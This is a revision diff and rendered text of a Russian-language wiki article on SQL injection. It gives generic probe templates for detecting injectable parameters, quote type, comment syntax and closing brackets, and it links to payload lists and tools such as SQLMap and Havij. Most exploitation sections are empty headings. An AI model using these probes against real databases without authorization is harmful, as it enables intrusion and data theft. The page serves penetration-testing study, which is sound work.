Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м |
||
Строка 39: | Строка 39: | ||
(Если сработал первый пример, то {кавычка}==={пустое место} :) | (Если сработал первый пример, то {кавычка}==={пустое место} :) | ||
+ | |||
+ | =====Знак комментария и количкество скобок===== | ||
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | ||
Строка 52: | Строка 54: | ||
{параметр}{кавычка})...) # 1 | {параметр}{кавычка})...) # 1 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | =====Подбор количества колонок===== | ||
+ | |||
+ | |||
+ | Первый вариант. | ||
+ | GROUP BY - есть у MySQL,(добавить), | ||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка}{скобочки} | ||
+ | |||
+ | |||
После чего надо подобрать количество колонок. | После чего надо подобрать количество колонок. |
Версия 11:42, 19 декабря 2018
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
1
2 {параметр} aNd 1=1
3 {параметр} aNd 1=1
4 {параметр}/**/aNd/**/1=1
5 {параметр} -- {\n} aNd 1=1
6
7 {параметр}' aNd '1'='1
8 {параметр}' aNd '1'='1
9 {параметр}'/**/aNd/**/'1'='1
10 {параметр}' -- {\n} aNd '1'='1
11
12 {параметр}" aNd "1"="1
13 {параметр}" aNd "1"="1
14 {параметр}"/**/aNd/**/"1"="1
15 {параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количкество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
1 {параметр}{кавычка} -- 1
2 {параметр}{кавычка}) -- 1
3 {параметр}{кавычка})) -- 1
4 {параметр}{кавычка})...) -- 1
5
6 {параметр}{кавычка} # 1
7 {параметр}{кавычка}) # 1
8 {параметр}{кавычка})) # 1
9 {параметр}{кавычка})...) # 1
Подбор количества колонок
Первый вариант. GROUP BY - есть у MySQL,(добавить), <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > {параметр}{кавычка}{скобочки}
После чего надо подобрать количество колонок.
Error-Based
Boolean-Based
Time-Based
auth
INSERT
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite3
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html